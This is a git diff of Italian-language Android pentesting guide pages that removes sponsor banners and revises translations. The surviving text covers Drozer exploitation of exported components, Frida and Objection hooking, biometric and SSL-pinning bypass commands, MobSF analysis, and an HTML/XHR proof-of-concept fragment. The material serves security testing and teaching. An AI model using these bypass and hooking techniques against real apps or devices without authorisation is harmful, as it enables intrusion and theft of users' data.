Un servizio è fondamentalmente qualcosa che **può ricevere dati**, **elaborarli** e **restituire** (o meno) una risposta. Quindi, se un'applicazione sta esportando alcuni servizi, dovresti **controllare** il **codice** per capire cosa sta facendo e **testarlo** **dinamicamente** per estrarre informazioni riservate, bypassare misure di autenticazione...\
[**Scopri come sfruttare i Servizi con Drozer.**](drozer-tutorial/#services)
### **Sfruttare i Broadcast Receiver**
### **Sfruttare i Broadcast Receivers**
[**Leggi questo se vuoi rinfrescare cosa è un Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Ricorda che le azioni di un Broadcast Receiver iniziano nel metodo `onReceive`.
Un broadcast receiver attenderà un tipo di messaggio. A seconda di come il receiver gestisce il messaggio, potrebbe essere vulnerabile.\
[**Scopri come sfruttare i Broadcast Receiver con Drozer.**](./#exploiting-broadcast-receivers)
[**Scopri come sfruttare i Broadcast Receivers con Drozer.**](./#exploiting-broadcast-receivers)
### **Sfruttare Schemi / Deep links**
@ -420,7 +390,7 @@ Un [interessante rapporto di bug bounty](https://hackerone.com/reports/855618) s
### Ispezione e verifiche del livello di trasporto
- **I certificati non vengono sempre ispezionati correttamente** dalle applicazioni Android. È comune che queste applicazioni trascurino gli avvisi e accettino certificati autofirmati o, in alcuni casi, tornino a utilizzare connessioni HTTP.
- **Le negoziazioni durante il handshake SSL/TLS sono a volte deboli**, impiegando suite crittografiche insicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), consentendo agli attaccanti di decrittare i dati.
- **Le negoziazioni durante il handshake SSL/TLS sono a volte deboli**, impiegando suite crittografiche insicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), consentendo agli attaccanti di decrittografare i dati.
- **La perdita di informazioni private** è un rischio quando le applicazioni si autenticano utilizzando canali sicuri ma poi comunicano tramite canali non sicuri per altre transazioni. Questo approccio non riesce a proteggere i dati sensibili, come i cookie di sessione o i dettagli degli utenti, dall'intercettazione da parte di entità malevole.
#### Verifica del certificato
@ -429,7 +399,7 @@ Ci concentreremo sulla **verifica del certificato**. L'integrità del certificat
#### SSL Pinning
SSL Pinning è una misura di sicurezza in cui l'applicazione verifica il certificato del server rispetto a una copia nota memorizzata all'interno dell'applicazione stessa. Questo metodo è essenziale per prevenire attacchi MITM. Si raccomanda vivamente di implementare SSL Pinning per le applicazioni che gestiscono informazioni sensibili.
SSL Pinning è una misura di sicurezza in cui l'applicazione verifica il certificato del server contro una copia nota memorizzata all'interno dell'applicazione stessa. Questo metodo è essenziale per prevenire attacchi MITM. Si raccomanda vivamente di implementare SSL Pinning per le applicazioni che gestiscono informazioni sensibili.
#### Ispezione del traffico
@ -500,7 +470,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
Quando metti un'applicazione in background, Android memorizza un **istantanea dell'applicazione** in modo che, quando viene ripristinata in primo piano, inizi a caricare l'immagine prima dell'app, quindi sembra che l'app sia stata caricata più velocemente.
Tuttavia, se questa istantanea contiene **informazioni sensibili**, qualcuno con accesso all'istantanea potrebbe **rubare quelle informazioni** (nota che hai bisogno dei permessi di root per accedervi).
Tuttavia, se questa istantanea contiene **informazioni sensibili**, qualcuno con accesso all'istantanea potrebbe **rubare quelle informazioni** (nota che è necessario avere i permessi di root per accedervi).
Le istantanee sono solitamente memorizzate in: **`/data/system_ce/0/snapshots`**
@ -510,7 +480,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Analizzatore di Applicazioni Android**
Questo strumento p aiutarti a gestire diversi strumenti durante l'analisi dinamica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
Questo strumento potrebbe aiutarti a gestire diversi strumenti durante l'analisi dinamica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Iniezione di Intent
@ -521,11 +491,11 @@ Il pericolo risiede nel consentire agli attaccanti di attivare componenti dell'a
### Punti Essenziali
- **Iniezione di Intent** è simile al problema di Open Redirect del web.
- Gli exploit coinvolgono il passaggio di oggetti `Intent` come extra, che possono essere deviati per eseguire operazioni non sicure.
- Gli exploit coinvolgono il passaggio di oggetti `Intent` come extra, che possono essere reindirizzati per eseguire operazioni non sicure.
- Può esporre componenti non esportati e provider di contenuti agli attaccanti.
- La conversione di URL in `Intent` di `WebView` può facilitare azioni indesiderate.
### Iniezioni lato Client Android e altro
### Iniezioni lato Client Android e altri
Probabilmente conosci questo tipo di vulnerabilità dal Web. Devi essere particolarmente attento a queste vulnerabilità in un'applicazione Android:
@ -533,25 +503,10 @@ Probabilmente conosci questo tipo di vulnerabilità dal Web. Devi essere partico
- **Iniezione JavaScript (XSS):** Verifica che il supporto per JavaScript e Plugin sia disabilitato per qualsiasi WebView (disabilitato per impostazione predefinita). [Ulteriori informazioni qui](webview-attacks.md#javascript-enabled).
- **Inclusione di File Locali:** Le WebView dovrebbero avere l'accesso al file system disabilitato (abilitato per impostazione predefinita) - `(webview.getSettings().setAllowFileAccess(false);)`. [Ulteriori informazioni qui](webview-attacks.md#javascript-enabled).
- **Cookie Eterni**: In diversi casi, quando l'applicazione android termina la sessione, il cookie non viene revocato o potrebbe persino essere salvato su disco.
- [**Secure Flag** nei cookie](../../pentesting-web/hacking-with-cookies/#cookies-flags)
- [**Flag Sicuro** nei cookie](../../pentesting-web/hacking-with-cookies/#cookies-flags)
---
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
**Approfondimenti sul Hacking**\
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking.
**Notizie di Hack in Tempo Reale**\
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale.
**Ultimi Annunci**\
Rimani informato con i nuovi bug bounty in partenza e aggiornamenti cruciali della piattaforma.
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
## Analisi Automatica
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
@ -560,7 +515,7 @@ Rimani informato con i nuovi bug bounty in partenza e aggiornamenti cruciali del
![](<../../images/image (866).png>)
**Valutazione della vulnerabilità dell'applicazione** utilizzando un bel frontend web-based. Puoi anche eseguire analisi dinamica (ma devi preparare l'ambiente).
**Valutazione delle vulnerabilità dell'applicazione** utilizzando un bel frontend web-based. Puoi anche eseguire analisi dinamica (ma devi preparare l'ambiente).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -572,7 +527,7 @@ MobSF consente anche di **diff/Confrontare** analisi e di integrare **VirusTotal
### Analisi dinamica assistita con MobSF
**MobSF** può essere molto utile per l'**analisi dinamica** in **Android**, ma in quel caso dovrai installare MobSF e **genymotion** sul tuo host (una VM o Docker non funzioneranno). _Nota: Devi **avviare prima una VM in genymotion** e **poi MobSF.**_\
**MobSF** può essere molto utile per l'**analisi dinamica** in **Android**, ma in quel caso dovrai installare MobSF e **genymotion** sul tuo host (una VM o Docker non funzionerà). _Nota: Devi **avviare prima una VM in genymotion** e **poi MobSF.**_\
L'**analizzatore dinamico MobSF** può:
- **Dump dei dati dell'applicazione** (URL, log, appunti, screenshot fatti da te, screenshot fatti da "**Exported Activity Tester**", email, database SQLite, file XML e altri file creati). Tutto questo viene fatto automaticamente tranne per gli screenshot, devi premere quando vuoi uno screenshot o devi premere "**Exported Activity Tester**" per ottenere screenshot di tutte le attività esportate.
@ -595,7 +550,7 @@ Inoltre, hai alcune funzionalità ausiliarie di Frida:
- **Enumerare Classi Caricate**: Stampa tutte le classi caricate
- **Catturare Stringhe**: Stampa tutte le stringhe catturate mentre utilizzi l'applicazione (super rumoroso)
- **Catturare Confronti di Stringhe**: Potrebbe essere molto utile. Mostrerà **le 2 stringhe confrontate** e se il risultato era Vero o Falso.
- **Catturare Confronti di Stringhe**: Potrebbe essere molto utile. **Mostrerà le 2 stringhe confrontate** e se il risultato era Vero o Falso.
- **Enumerare Metodi di Classe**: Inserisci il nome della classe (come "java.io.File") e stamperà tutti i metodi della classe.
- **Cerca Modello di Classe**: Cerca classi per modello
- **Traccia Metodi di Classe**: **Traccia** un'**intera classe** (vedi input e output di tutti i metodi della classe). Ricorda che per impostazione predefinita MobSF traccia diversi metodi API Android interessanti.
@ -615,7 +570,7 @@ receivers
```
**Strumenti HTTP**
Quando il traffico http viene catturato, puoi vedere una vista brutta del traffico catturato sul "**HTTP(S) Traffic**" in basso o una vista più bella nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxies** come Burp o Owasp ZAP.\
Quando il traffico http viene catturato, puoi vedere una vista brutta del traffico catturato sul "**HTTP(S) Traffic**" in basso o una vista più bella nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxy** come Burp o Owasp ZAP.\
Per farlo, _accendi Burp -->_ _disattiva Intercept --> in MobSB HTTPTools seleziona la richiesta_ --> premi "**Send to Fuzzer**" --> _seleziona l'indirizzo del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Una volta terminata l'analisi dinamica con MobSF, puoi premere su "**Start Web API Fuzzer**" per **fuzzare le richieste http** e cercare vulnerabilità.
@ -634,7 +589,7 @@ Questo strumento utilizzerà alcuni **Hooks** per farti sapere **cosa sta succed
### [Yaazhini](https://www.vegabird.com/yaazhini/)
Questo è un **ottimo strumento per eseguire analisi statiche con una GUI**
Questo è un **ottimo strumento per eseguire analisi statiche con un'interfaccia grafica**
![](<../../images/image (741).png>)
@ -692,7 +647,7 @@ androbugs.exe -f [APK file]
**Androwarn** è uno strumento il cui obiettivo principale è rilevare e avvisare l'utente riguardo a potenziali comportamenti malevoli sviluppati da un'applicazione Android.
Il rilevamento viene effettuato con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, con la libreria [`androguard`](https://github.com/androguard/androguard).
Il rilevamento viene eseguito con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, con la libreria [`androguard`](https://github.com/androguard/androguard).
Questo strumento cerca **comportamenti comuni delle applicazioni "cattive"** come: esfiltrazione di identificatori di telefonia, intercettazione di flussi audio/video, modifica dei dati PIM, esecuzione di codice arbitrario...
```
@ -702,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** è un **M**obile **A**pplication **R**everse engineering e **A**nalysis Framework. È uno strumento che riunisce strumenti comunemente usati per il reverse engineering e l'analisi delle applicazioni mobili, per assistere nel testare le applicazioni mobili contro le minacce alla sicurezza mobile di OWASP. Il suo obiettivo è rendere questo compito più facile e accessibile per gli sviluppatori di applicazioni mobili e i professionisti della sicurezza.
**MARA** è un **M**obile **A**pplication **R**everse engineering e **A**nalysis Framework. È uno strumento che riunisce strumenti comunemente usati per il reverse engineering e l'analisi delle applicazioni mobili, per assistere nel test delle applicazioni mobili contro le minacce alla sicurezza mobile di OWASP. Il suo obiettivo è rendere questo compito più facile e accessibile per gli sviluppatori di applicazioni mobili e i professionisti della sicurezza.
È in grado di:
@ -734,9 +689,9 @@ Trova una guida passo-passo per deoffuscare l'apk in [https://blog.lexfo.fr/dexg
(Da quella guida) L'ultima volta che abbiamo controllato, il modo di operare di Dexguard era:
- caricare una risorsa come InputStream;
- fornire il risultato a una classe che eredita da FilterInputStream per decrittografarlo;
- fornire il risultato a una classe che eredita da FilterInputStream per decrittarlo;
- fare un po' di offuscazione inutile per far perdere qualche minuto a un reverser;
- fornire il risultato decrittografato a un ZipInputStream per ottenere un file DEX;
- fornire il risultato decrittato a un ZipInputStream per ottenere un file DEX;
- infine caricare il DEX risultante come Risorsa utilizzando il metodo `loadDex`.
### [DeGuard](http://apk-deguard.com)
@ -745,17 +700,21 @@ Trova una guida passo-passo per deoffuscare l'apk in [https://blog.lexfo.fr/dexg
Puoi caricare un APK offuscato sulla loro piattaforma.
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app android e deoffuscare il codice delle app android. Utilizza l'API pubblica di Google Gemini.
### [Simplify](https://github.com/CalebFenton/simplify)
È un **deoffuscatore android generico.** Simplify **esegue virtualmente un'app** per comprendere il suo comportamento e poi **cerca di ottimizzare il codice** in modo che si comporti in modo identico ma sia più facile da comprendere per un umano. Ogni tipo di ottimizzazione è semplice e generico, quindi non importa quale tipo specifico di offuscazione venga utilizzato.
### [APKiD](https://github.com/rednaga/APKiD)
APKiD ti fornisce informazioni su **come è stato creato un APK**. Identifica molti **compilatori**, **packer**, **offuscatori** e altre cose strane. È il [_PEiD_](https://www.aldeid.com/wiki/PEiD) per Android.
APKiD ti fornisce informazioni su **come è stato creato un APK**. Identifica molti **compilatori**, **packer**, **offuscatori** e altre cose strane. È [_PEiD_](https://www.aldeid.com/wiki/PEiD) per Android.
### Manuale
[Leggi questo tutorial per imparare alcuni trucchi su **come fare il reverse engineering di offuscazioni personalizzate**](manual-deobfuscation.md)
[Leggi questo tutorial per imparare alcuni trucchi su **come invertire l'offuscazione personalizzata**](manual-deobfuscation.md)
## Laboratori
@ -767,7 +726,7 @@ AndroL4b è una macchina virtuale di sicurezza Android basata su ubuntu-mate che
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) È una grande lista di risorse
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Corso rapido su Android
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Corso rapido Android
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
@ -777,19 +736,4 @@ AndroL4b è una macchina virtuale di sicurezza Android basata su ubuntu-mate che
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
**Hacking Insights**\
Interagisci con contenuti che approfondiscono il brivido e le sfide dell'hacking
**Notizie di hacking in tempo reale**\
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
**Ultimi annunci**\
Rimani informato sugli ultimi bug bounty in partenza e aggiornamenti cruciali della piattaforma
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
{% embed url="https://academy.8ksec.io/" %}
## **Metodo 1 Bypass senza utilizzo di Crypto Object**
L'attenzione qui è sul callback _onAuthenticationSucceeded_, che è cruciale nel processo di autenticazione. I ricercatori di WithSecure hanno sviluppato uno [script Frida](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js), che consente di bypassare il NULL _CryptoObject_ in _onAuthenticationSucceeded(...)_. Lo script forza un bypass automatico dell'autenticazione tramite impronta digitale al momento dell'invocazione del metodo. Di seguito è riportato un frammento semplificato che dimostra il bypass in un contesto di impronta digitale Android, con l'applicazione completa disponibile su [GitHub](https://github.com/St3v3nsS/InsecureBanking).
@ -69,10 +63,5 @@ Esistono strumenti e script specializzati progettati per testare e bypassare i m
- [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Approfondisci la tua esperienza in **Sicurezza Mobile** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,14 +1,11 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**Questo è un riepilogo del post [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### Elencare i file nel Media Store
Per elencare i file gestiti dal Media Store, può essere utilizzato il comando seguente:
Per elencare i file gestiti dal Media Store, è possibile utilizzare il comando seguente:
```bash
$ content query --uri content://media/external/file
```
@ -79,8 +76,4 @@ xhr.send();
<body onload="poc()"></body>
</html>
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,11 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
<img src="../../../images/i3.png" alt="" data-size="original">
**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## APKs da testare
@ -17,7 +13,7 @@
## Installazione
Installa il Drozer Client all'interno del tuo host. Scaricalo dalle [ultime versioni](https://github.com/mwrlabs/drozer/releases).
Installa il client Drozer all'interno del tuo host. Scaricalo dalle [ultime versioni](https://github.com/mwrlabs/drozer/releases).
```bash
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
@ -54,7 +50,7 @@ drozer console connect
| **unset** | Rimuove una variabile nominata che drozer passa a qualsiasi shell Linux che genera. |
| **set** | Memorizza un valore in una variabile che sarà passato come variabile ambientale a qualsiasi shell Linux generata da drozer. |
| **shell** | Avvia una shell Linux interattiva sul dispositivo, nel contesto dell'Agente |
| **run MODULE** | Esegue un modulo drozer |
| **run MODULE** | Esegui un modulo drozer |
| **exploit** | Drozer può creare exploit da eseguire nel dispositivo. `drozer exploit list` |
| **payload** | Gli exploit necessitano di un payload. `drozer payload list` |
@ -106,7 +102,7 @@ is debuggable
### Attività
Il valore “android:exported” di un componente attività esportato è impostato su **“true”** nel file AndroidManifest.xml:
Il valore “android:exported” di un componente di attività esportato è impostato su **“true”** nel file AndroidManifest.xml:
```markup
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>
@ -183,7 +179,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
### Broadcast Receivers
**Nella sezione informazioni di base di Android puoi vedere cosa è un Broadcast Receiver**.
**Nella sezione delle informazioni di base di Android puoi vedere cos'è un Broadcast Receiver**.
Dopo aver scoperto questi Broadcast Receivers dovresti **controllare il codice** di essi. Fai particolare attenzione alla funzione **`onReceive`** poiché gestirà i messaggi ricevuti.
@ -254,10 +250,6 @@ run app.package.debuggable
- [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)
<img src="../../../images/i3.png" alt="" data-size="original">
**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,11 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Installazione
@ -15,8 +10,8 @@ Installa **frida tools**:
pip install frida-tools
pip install frida
```
**Scarica e installa** in Android il **frida server** ([Scarica l'ultima versione](https://github.com/frida/frida/releases)).\
Comando per riavviare adb in modalità root, connettersi ad esso, caricare frida-server, dare permessi di esecuzione e eseguirlo in background:
**Scarica e installa** nel dispositivo android il **frida server** ([Scarica l'ultima versione](https://github.com/frida/frida/releases)).\
Comando per riavviare adb in modalità root, connettersi ad esso, caricare frida-server, dare permessi di esecuzione e farlo girare in background:
```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
```
@ -182,10 +177,5 @@ onComplete: function () {},
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
- [Parte 1 della serie di blog sull'uso avanzato di Frida: Librerie di crittografia IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
**Questo è un riassunto del post**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**Codice Sorgente**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
@ -55,7 +49,7 @@ return true
```
python hooking.py hook1.js
```
Guardare: La funzione riceve come parametro una String, non è necessario l'overload?
Mirar: La funzione riceve come parametro una String, non è necessario l'overload?
## Hook 2 - Function Bruteforce
@ -120,14 +114,9 @@ return encrypted_ret
```
## Importante
In questo tutorial hai agganciato metodi utilizzando il nome del metodo e _.implementation_. Ma se ci fossero **più di un metodo** con lo stesso nome, dovrai **specificare il metodo** che desideri agganciare **indicando il tipo degli argomenti**.
In questo tutorial hai agganciato i metodi utilizzando il nome del metodo e _.implementation_. Ma se ci fossero **più di un metodo** con lo stesso nome, dovrai **specificare il metodo** che desideri agganciare **indicando il tipo degli argomenti**.
Puoi vedere questo nel [tutorial successivo](frida-tutorial-2.md).
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare ricompense fino a **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,13 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
**Questo è un riassunto del post**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parti 2, 3 & 4)\
**Questo è un riassunto del post**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parti 2, 3 e 4)\
**APKs e codice sorgente**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
La parte 1 è molto facile.
@ -19,7 +13,7 @@ La parte 1 è molto facile.
Qui puoi vedere un esempio di come **hookare 2 funzioni con lo stesso nome** ma parametri diversi.\
Inoltre, imparerai come **chiamare una funzione con i tuoi parametri**.\
E infine, c'è un esempio di come **trovare un'istanza di una classe e farla chiamare una funzione**.
E infine, c'è un esempio di come **trovare un'istanza di una classe e farle chiamare una funzione**.
```javascript
//s2.js
console.log("Script loaded successfully ");
@ -210,10 +204,5 @@ return this.setText(string_to_recv)
```
C'è una parte 5 che non spiegherò perché non c'è nulla di nuovo. Ma se vuoi leggerla, è qui: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,23 +2,19 @@
{{#include ../../../banners/hacktricks-training.md}}
<img src="../../../images/i3.png" alt="" data-size="original">
**Bug bounty tip**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## **Introduzione**
**objection - Runtime Mobile Exploration**
**objection - Esplorazione Mobile in Esecuzione**
[**Objection**](https://github.com/sensepost/objection) è un toolkit di esplorazione mobile in tempo reale, alimentato da [Frida](https://www.frida.re). È stato costruito con l'obiettivo di aiutare a valutare le applicazioni mobili e la loro postura di sicurezza senza la necessità di un dispositivo mobile jailbroken o rootato.
[**Objection**](https://github.com/sensepost/objection) è un toolkit per l'esplorazione mobile in esecuzione, alimentato da [Frida](https://www.frida.re). È stato creato con l'obiettivo di aiutare a valutare le applicazioni mobili e la loro postura di sicurezza senza la necessità di un dispositivo mobile jailbroken o rootato.
**Nota:** Questo non è una forma di jailbreak / bypass del root. Utilizzando `objection`, sei comunque limitato da tutte le restrizioni imposte dal sandbox applicabile che stai affrontando.
**Nota:** Questo non è una forma di bypass del jailbreak / root. Utilizzando `objection`, sei comunque limitato da tutte le restrizioni imposte dal sandbox applicabile che stai affrontando.
### Riepilogo
### Riassunto
Il **goal** di **objection** è permettere all'utente di chiamare le **azioni principali che offre Frida**. **Altrimenti**, l'utente dovrà creare un **singolo script per ogni applicazione** che desidera testare.
**L'obiettivo** di **objection** è consentire all'utente di chiamare le **azioni principali che offre Frida**. **Altrimenti**, l'utente dovrà creare un **singolo script per ogni applicazione** che desidera testare.
## Tutorial
@ -101,7 +97,7 @@ android hooking list activities
android hooking list services
android hooking list receivers
```
Frida lancerà un errore se non viene trovata alcuna
Frida lancerà un errore se non viene trovata
#### Ottenere l'attività corrente
```bash
@ -111,7 +107,7 @@ android hooking get current_activity
#### Cerca Classi
Iniziamo a cercare classi all'interno della nostra applicazione
Iniziamo a cercare classi all'interno della nostra applicazione.
```bash
android hooking search classes asvid.github.io.fridaapp
```
@ -133,7 +129,7 @@ android hooking list class_methods asvid.github.io.fridaapp.MainActivity
```
![](<../../../images/image (299).png>)
#### Elenca le classi
#### Elenco delle classi
Puoi anche elencare tutte le classi che sono state caricate all'interno dell'applicazione corrente:
```bash
@ -229,10 +225,4 @@ exit
- Non puoi usare le istanze delle classi per chiamare le funzioni dell'istanza. E non puoi creare nuove istanze delle classi e usarle per chiamare funzioni.
- Non c'è una scorciatoia (come quella per sslpinnin) per hookare tutti i metodi crittografici comuni utilizzati dall'applicazione per vedere testo cifrato, testo in chiaro, chiavi, IV e algoritmi utilizzati.
<img src="../../../images/i3.png" alt="" data-size="original">
**Suggerimento per bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,22 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
